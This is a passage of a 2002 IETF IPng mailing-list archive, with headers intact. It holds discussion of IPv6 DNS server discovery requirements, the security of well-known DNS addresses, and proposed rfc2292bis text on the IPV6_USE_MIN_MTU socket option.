ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> References: <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020418041911.04CEC1C46@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I think the statement would be clearer if rewritten without ever using the word "server", since the newly coined term "server-less" strongly suggests that we are still using that word in multiple ways that conflict with each other. Accepting the confusing terminology temporarily for purposes of discussion: since I assume that the phrase "without any dependence on resources other than are needed (i.e., links, interfaces, routers, and DNS server) to communicate with the DNS server" is not intended to rule out a solution in which the "DNS server" also participates in some non-DNS protocol interaction that provides the discovery service, it would be good to say so explicitly. Also, there's at least one more item that belongs on the "desirable" list: - Minimal unwarranted duplication of mechanism That is: before specifying two separate ways to perform the same function, it'd be nice to know whether the two mechanisms are really different enough that it's worth making every toaster vendor in the world implement both of them. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 00:01:54 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3I71oIA005343; Thu, 18 Apr 2002 00:01:50 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3I71oeA005342; Thu, 18 Apr 2002 00:01:50 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3I71eIA005335 for ; Thu, 18 Apr 2002 00:01:41 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA20363 for ; Thu, 18 Apr 2002 00:01:37 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA04462 for ; Thu, 18 Apr 2002 01:01:36 -0600 (MDT) Received: from localhost ([3ffe:501:100f:1048:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3I71Mo27773; Thu, 18 Apr 2002 16:01:23 +0900 (JST) Date: Thu, 18 Apr 2002 16:01:29 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Erik Nordmark Cc: Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 80 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 16 Apr 2002 23:06:20 +0900, >>>>> JINMEI Tatuya said: >> Why the x >=1 as opposed to x == 1? To be compatible with existing >> applications? >> The reason I'm asking is because it looks a bit odd to disallow less than -1 >> when greater than 1 is allowed. > I was afraid that there may be an existing implementation which tries > to set a positive but !=1 value to set the IPV6_USE_MIN_MTU option. > But, this is probably an imaginary fear...actually all implementations > that I know of use the value 1 for this purpose. So, I basically > agree that it is more natural to restrict the positive value (to 1) as > well. I've attached a revised version of the proposed text according to discussions after the proposal, including very recent results. I'll soon submit a new I-D with this change, but if you see something missing in the attached text, please let me know. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp 11.1. Sending with the Minimum MTU Unicast applications should usually let the kernel to perform path MTU discovery, as long as the kernel support it, and should not care about the path MTU. Some applications, however, might not want to incur the overhead of path MTU discovery, especially if the applications only send a single datagram to a destination. A potential example is a DNS server. Also, path MTU discovery for multicast has severe scalability limitations and should thus be avoided. This specification defines a mechanism to avoid path MTU discovery by sending at the minimum IPv6 MTU [RFC-2460]. If the packet is larger than the minimum MTU and this feature has been enabled the IP layer will fragment to the minimum MTU. To control the policy about path MTU discovery, applications can use the IPV6_USE_MIN_MTU socket option. As described above, the default policy should depend on whether the destination is unicast or multicast. For unicast destinations path MTU discovery should be performed by default. For multicast destinations path MTU discovery should be disabled by default. This option thus takes the following three types of integer arguments: -1: Perform path MTU discovery for unicast destinations but do not perform it for multicast destinations. Packets to multicast destinations are therefor sent with the minimum MTU. 0: always perform path MTU discovery. 1: always disable path MTU discovery and send packets at the minimum MTU. The default value of this option is -1. Values other than -1, 0, and 1 are invalid, and an error EINVAL will be returned for those values. As an example, if a unicast application intentionally wants to disable path MTU discovery, it will add the following lines: int on = 1; setsockopt(fd, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &on, sizeof(on)); Note that this API intentionally excludes the case where the application wants to perform path MTU discovery for multicast but to disable it for unicast. This is because such usage is not feasible considering a scale of performance issues around whether to do path MTU discovery or not. When path MTU discovery makes sense to a destination but not to a different destination, regardless of whether the destination is unicast or multicast, applications either need to toggle the option between sending such packets on the same socket, or use different sockets for the two classes of destinations. This option can also be sent as ancillary data. In the cmsghdr structure containing this ancillary data, the cmsg_level member will be IPPROTO_IPV6, the cmsg_type member will be IPV6_USE_MIN_MTU, and the first byte of cmsg_data[] will be the first byte of the integer. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 03:20:49 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IAKkIA005711; Thu, 18 Apr 2002 03:20:46 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3IAKjcm005710; Thu, 18 Apr 2002 03:20:45 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IAKdIA005703 for ; Thu, 18 Apr 2002 03:20:39 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA27551 for ; Thu, 18 Apr 2002 03:20:39 -0700 (PDT) Received: from mail1.noc.ntt.co.jp (mail1.noc.ntt.co.jp [210.163.32.53]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA02241 for ; Thu, 18 Apr 2002 04:20:38 -0600 (MDT) Received: from ms1-gw.noc.ntt.com (ms1-gw.noc.ntt.com) by mail1.noc.ntt.co.jp (8.9.3/NOC-MAIL1) id TAA03250; Thu, 18 Apr 2002 19:20:36 +0900 (JST) Received: from mr1-gw.noc.ntt.com by ms1-gw.noc.ntt.com (8.9.3/3.7W) id TAA10420; Thu, 18 Apr 2002 19:20:35 +0900 (JST) Received: from mail2.noc.ntt.com by mr1-gw.noc.ntt.com (8.9.3/3.7W) id TAA10402; Thu, 18 Apr 2002 19:20:34 +0900 (JST) Received: from r505r by mail2.noc.ntt.com (8.9.3/3.7W) id TAA14614; Thu, 18 Apr 2002 19:20:33 +0900 (JST) Message-ID: <000e01c1e6c2$9c281140$2ba0240a@local> From: "Yamasaki Toshi" To: "Bill Manning" Cc: , , References: <200204171119.g3HBJTk12385@boreas.isi.edu> Subject: Re: Stateless DNS discovery draft Date: Thu, 18 Apr 2002 15:17:24 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I assume an end-host trust the administrator of the site which itself is connceted to. In other words, it believes that the route(s) to the well-known addresses are properly configured so that queries are lead to proper DNS servers. Yes, there are security issues, but no worse than non-well-known address methods. > why is there a need for yet another suite of reserved > "well-known" addresses for DNS servers? > Am I the only one who feels that this is a significant > breach of the integrity of the DNS system? > Or is this simply the path of least resistance and > folks are willing to abandon the integrity of the data > that the DNS is publishing? Or will this only be deployed > once there are other means to verify the integrity of the > data (can you say DNSSEC? sure you can.) > > There are other ways to discover DNS servers in a > (roaming/ad-hoc/untethered) environment. > > > % Hi John, > % > % > It should be possible to 'discover' DNS servers? > % > when roaming in new networks with minimal interaction from the user. > % > % Yes, that's the point. > % > % Wherever the end-host is, at the office, at home, at a hotspot, or at mobile > % enviroment, it simply queries to a well-known-sitelocal/global-address, and > % the query is lead to an appropriate DNS server which is prepared by the site > % administrator of each situation with manual configuration or > % auto-configuration. > % > % ----- Original Message ----- > % From: > % To: ; ; > % > % Sent: Wednesday, April 17, 2002 5:37 PM > % Subject: RE: Stateless DNS discovery draft > % > % > % Hi Toshi, > % > % > I absolutely agree. > % > > % > In other word, there are typically three players, > % > > % > 1) end-host > % > 2) site network > % > 3) ISP network > % > > % > and "Stateless DNS discoery" is a zero-configuration method > % > mainly for 1). > % > > % > When the administrator of 2) wants to prepare DNS servers in his/her site > % > with assigning the well-know-site-local-uni-cast-addresses to them, 1) > % > simply queries to them. > % > > % > When the ISP prepares DNS servers in its backbone, the CPE router of 2) > % acts > % > as a dual-sited DNS proxy to relay queries to the the > % > well-know-site-local-uni-cast-addresses of the ISP's site, or to the > % global > % > addresses which are informed via ISP-to-Customer (or PE-to-CPE) > % > configuration mechanism such as DHCPv6, SLP or papers. > % > % I agree with you, this is a very good and to-the-point summary. > % > % I'd just like to point out that the need is especially crucial in > % roaming situations. It should be possible to 'discover' DNS servers > % when roaming in new networks with minimal interaction from the user. > % > % John > % > % -------------------------------------------------------------------- > % IETF IPng Working Group Mailing List > % IPng Home Page: http://playground.sun.com/ipng > % FTP archive: ftp://playground.sun.com/pub/ipng > % Direct all administrative requests to majordomo@sunroof.eng.sun.com > % -------------------------------------------------------------------- > % > > > -- > --bill > > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 08:17:23 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IFHKIA006260; Thu, 18 Apr 2002 08:17:20 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3IFHKpS006259; Thu, 18 Apr 2002 08:17:20 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IFHEIA006252 for ; Thu, 18 Apr 2002 08:17:14 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA14381 for ; Thu, 18 Apr 2002 08:17:16 -0700 (PDT) Received: from cisco.com (cypher.cisco.com [171.69.11.18]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA04971 for ; Thu, 18 Apr 2002 09:17:15 -0600 (MDT) Received: (from eckert@localhost) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id IAA04316; Thu, 18 Apr 2002 08:16:24 -0700 (PDT) Date: Thu, 18 Apr 2002 08:16:24 -0700 From: Toerless Eckert To: "JINMEI Tatuya / ?$B?@L@C#:H?(B" Cc: Erik Nordmark , Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal Message-ID: <20020418081624.D20830@cypher.cisco.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jinmei@isl.rdc.toshiba.co.jp on Thu, Apr 18, 2002 at 04:01:29PM +0900 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, Apr 18, 2002 at 04:01:29PM +0900, JINMEI Tatuya / ?$B?@L@C#:H?(B wrote: > I've attached a revised version of the proposed text according to > discussions after the proposal, including very recent results. > I'll soon submit a new I-D with this change, but if you see something > missing in the attached text, please let me know. > Also, path MTU discovery for multicast has severe scalability > limitations and should thus be avoided. ... by default. Not sure if you want to spend rfc space on tis, but this would be the rationale i would give: ... Applications sending multicast traffic should explicitly enable path MTU discovery only when they understand that the benefit of possibly larger MTU usage outweights the possible impact of MTU discovery for active sources across the delivery tree(s). And here is an outlook you may want to add (or not): ... This default behavior is based on todays available MTU path discovery mechanism and may change in the future once better scalable mechanisms are sufficiently ubiquitously available. (As in: We do well understand what technology must be defined/deploy to allow for efficient and scalable path MTU discovery for ip multicast (like: define an appropriate GRA option and ensure that everybody and his routers implement this), but practice has shown that it won't happen because it is not there yet, it's not even defined, so at best we can start to work on it, but i wouldn't bet any major wagers on a chance to see it in a mayority of routers within 5 years). Cheers Toerless -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 08:57:00 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IFuwIA006303; Thu, 18 Apr 2002 08:56:58 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3IFuwxJ006302; Thu, 18 Apr 2002 08:56:58 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IFusIA006295 for ; Thu, 18 Apr 2002 08:56:54 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA09841 for ; Thu, 18 Apr 2002 08:56:56 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA25377 for ; Thu, 18 Apr 2002 08:56:55 -0700 (PDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g3IFurLQ121434; Thu, 18 Apr 2002 11:56:53 -0400 Received: from rotala.raleigh.ibm.com (rotala.raleigh.ibm.com [9.27.9.21]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g3IFurh154064; Thu, 18 Apr 2002 11:56:53 -0400 Received: from rotala.raleigh.ibm.com (narten@localhost) by rotala.raleigh.ibm.com (8.11.6/8.11.6) with ESMTP id g3IFtZj07519; Thu, 18 Apr 2002 11:55:35 -0400 Message-Id: <200204181555.g3IFtZj07519@rotala.raleigh.ibm.com> To: Bob Hinden cc: IPng List Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: Message from "Wed, 17 Apr 2002 16:23:33 PDT." <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> Date: Thu, 18 Apr 2002 11:55:35 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > IPv6 provides two approaches to basic IPv6 configuration. One is > server-less and is defined in IPv6 Neighbor Discover [RFC2461] and the IPv6 > Stateless Address Autoconfiguration [RFC2462]. Note: I don't know that I understand this distinction. Calling ND "server-less" doesn't seem entirely accurate. ND requires a router sending the client prefix information for the addresses it is to generate. Without that info, the client can only generate link-local addresses. In this case, the router quacks like a server. I.e., the client sends out an RS, the router responds with a RA. Is it not being a server? I think this point is important because saying we need a "server-less" solution implies we all agree on what server-oriented vs. server-less actually means. I'm not sure I do. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 10:33:36 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IHXaIA006642; Thu, 18 Apr 2002 10:33:36 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3IHXalp006641; Thu, 18 Apr 2002 10:33:36 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IHXWIA006634 for ; Thu, 18 Apr 2002 10:33:33 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA18760 for ; Thu, 18 Apr 2002 10:33:35 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA17377 for ; Thu, 18 Apr 2002 10:33:34 -0700 (PDT) Received: (from bmanning@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g3IHXEZ04858; Thu, 18 Apr 2002 10:33:14 -0700 (PDT) From: Bill Manning Message-Id: <200204181733.g3IHXEZ04858@boreas.isi.edu> Subject: Re: Stateless DNS discovery draft In-Reply-To: <000e01c1e6c2$9c281140$2ba0240a@local> from Yamasaki Toshi at "Apr 18, 2 03:17:24 pm" To: t.yamasaki@ntt.com (Yamasaki Toshi) Date: Thu, 18 Apr 2002 10:33:14 -0700 (PDT) Cc: bmanning@ISI.EDU, john.loughney@nokia.com, Jonne.Soininen@nokia.com, ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % I assume an end-host trust the administrator of the site which itself is % connceted to. In other words, it believes that the route(s) to the % well-known addresses are properly configured so that queries are lead to % proper DNS servers. this is naive, particularly in a tetherless environment. % % Yes, there are security issues, but no worse than non-well-known address % methods. hogwash. if one expects DNS servers to always be available at, for example, fe80:dead:beef::53, then -anyone- can make a server available at that address, not just the site admin. % % > why is there a need for yet another suite of reserved % > "well-known" addresses for DNS servers? % > Am I the only one who feels that this is a significant % > breach of the integrity of the DNS system? % > Or is this simply the path of least resistance and % > folks are willing to abandon the integrity of the data % > that the DNS is publishing? Or will this only be deployed % > once there are other means to verify the integrity of the % > data (can you say DNSSEC? sure you can.) % > % > There are other ways to discover DNS servers in a % > (roaming/ad-hoc/untethered) environment. % > % > % > % Hi John, % > % % > % > It should be possible to 'discover' DNS servers? % > % > when roaming in new networks with minimal interaction from the user. % > % % > % Yes, that's the point. % > % % > % Wherever the end-host is, at the office, at home, at a hotspot, or at % mobile % > % enviroment, it simply queries to a well-known-sitelocal/global-address, % and % > % the query is lead to an appropriate DNS server which is prepared by the % site % > % administrator of each situation with manual configuration or % > % auto-configuration. % > % % > % ----- Original Message ----- % > % From: % > % To: ; ; % > % % > % Sent: Wednesday, April 17, 2002 5:37 PM % > % Subject: RE: Stateless DNS discovery draft % > % % > % % > % Hi Toshi, % > % % > % > I absolutely agree. % > % > % > % > In other word, there are typically three players, % > % > % > % > 1) end-host % > % > 2) site network % > % > 3) ISP network % > % > % > % > and "Stateless DNS discoery" is a zero-configuration method % > % > mainly for 1). % > % > % > % > When the administrator of 2) wants to prepare DNS servers in his/her % site % > % > with assigning the well-know-site-local-uni-cast-addresses to them, 1) % > % > simply queries to them. % > % > % > % > When the ISP prepares DNS servers in its backbone, the CPE router of % 2) % > % acts % > % > as a dual-sited DNS proxy to relay queries to the the % > % > well-know-site-local-uni-cast-addresses of the ISP's site, or to the % > % global % > % > addresses which are informed via ISP-to-Customer (or PE-to-CPE) % > % > configuration mechanism such as DHCPv6, SLP or papers. % > % % > % I agree with you, this is a very good and to-the-point summary. % > % % > % I'd just like to point out that the need is especially crucial in % > % roaming situations. It should be possible to 'discover' DNS servers % > % when roaming in new networks with minimal interaction from the user. % > % % > % John % > % % > % -------------------------------------------------------------------- % > % IETF IPng Working Group Mailing List % > % IPng Home Page: http://playground.sun.com/ipng % > % FTP archive: ftp://playground.sun.com/pub/ipng % > % Direct all administrative requests to majordomo@sunroof.eng.sun.com % > % -------------------------------------------------------------------- % > % % > % > % > -- % > --bill % > % > % -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 10:35:44 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IHZiIA006659; Thu, 18 Apr 2002 10:35:44 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3IHZiLu006658; Thu, 18 Apr 2002 10:35:44 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IHZeIA006651 for ; Thu, 18 Apr 2002 10:35:40 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA20006 for ; Thu, 18 Apr 2002 10:35:43 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA24198 for ; Thu, 18 Apr 2002 11:35:42 -0600 (MDT) Received: from localhost ([3ffe:501:100f:1041::6]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3IHZMo34745; Fri, 19 Apr 2002 02:35:22 +0900 (JST) Date: Fri, 19 Apr 2002 02:35:28 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Toerless Eckert Cc: Erik Nordmark , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: <20020418081624.D20830@cypher.cisco.com> References: <20020418081624.D20830@cypher.cisco.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 49 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Thu, 18 Apr 2002 08:16:24 -0700, >>>>> Toerless Eckert said: >> I've attached a revised version of the proposed text according to >> discussions after the proposal, including very recent results. >> I'll soon submit a new I-D with this change, but if you see something >> missing in the attached text, please let me know. >> Also, path MTU discovery for multicast has severe scalability >> limitations and should thus be avoided. > ... by default. > Not sure if you want to spend rfc space on tis, but this would be the > rationale i would give: > ... Applications sending multicast traffic should explicitly enable > path MTU discovery only when they understand that the benefit of > possibly larger MTU usage outweights the possible impact of MTU > discovery for active sources across the delivery tree(s). > And here is an outlook you may want to add (or not): > ... This default behavior is based on todays available MTU path discovery > mechanism and may change in the future once better scalable mechanisms are > sufficiently ubiquitously available. I'm okay with the addition, but let me check, is the following your intended text? ...A potential example is a DNS server. Also, path MTU discovery for multicast has severe scalability limitations and should thus be avoided by default. Applications sending multicast traffic should explicitly enable path MTU discovery only when they understand that the benefit of possibly larger MTU usage outweights the possible impact of MTU discovery for active sources across the delivery tree(s). This default behavior is based on todays available MTU path discovery mechanism and may change in the future once better scalable mechanisms are sufficiently ubiquitously available. This specification defines a mechanism to avoid path MTU discovery by sending at the minimum IPv6 MTU [RFC-2460].... JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 10:40:11 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IHeBIA006676; Thu, 18 Apr 2002 10:40:11 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3IHeBNL006675; Thu, 18 Apr 2002 10:40:11 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3IHe7IA006668 for ; Thu, 18 Apr 2002 10:40:07 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA21542 for ; Thu, 18 Apr 2002 10:40:10 -0700 (PDT) Received: from cisco.com (cypher.cisco.com [171.69.11.18]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA05104; Thu, 18 Apr 2002 11:40:09 -0600 (MDT) Received: (from eckert@localhost) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id KAA11274; Thu, 18 Apr 2002 10:40:07 -0700 (PDT) Date: Thu, 18 Apr 2002 10:40:07 -0700 From: Toerless Eckert To: "JINMEI Tatuya / ?$B?@L@C#:H?(B" Cc: Toerless Eckert , Erik Nordmark , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal Message-ID: <20020418104007.J20830@cypher.cisco.com> References: <20020418081624.D20830@cypher.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jinmei@isl.rdc.toshiba.co.jp on Fri, Apr 19, 2002 at 02:35:28AM +0900 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Fri, Apr 19, 2002 at 02:35:28AM +0900, JINMEI Tatuya / ?$B?@L@C#:H?(B wrote: > > I'm okay with the addition, but let me check, is the following your > intended text? > > ...A > potential example is a DNS server. > > Also, path MTU discovery for multicast has severe scalability > limitations and should thus be avoided by default. Applications > sending multicast traffic should explicitly enable path MTU > discovery only when they understand that the benefit of possibly > larger MTU usage outweights the possible impact of MTU discovery > for active sources across the delivery tree(s). This default > behavior is based on todays available MTU path discovery mechanism > and may change in the future once better scalable mechanisms are > sufficiently ubiquitously available. Yes, that's the paragraph i would propose. Thanks a lot. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 21:16:38 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J4GcIA008289; Thu, 18 Apr 2002 21:16:38 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3J4GcKC008288; Thu, 18 Apr 2002 21:16:38 -0700 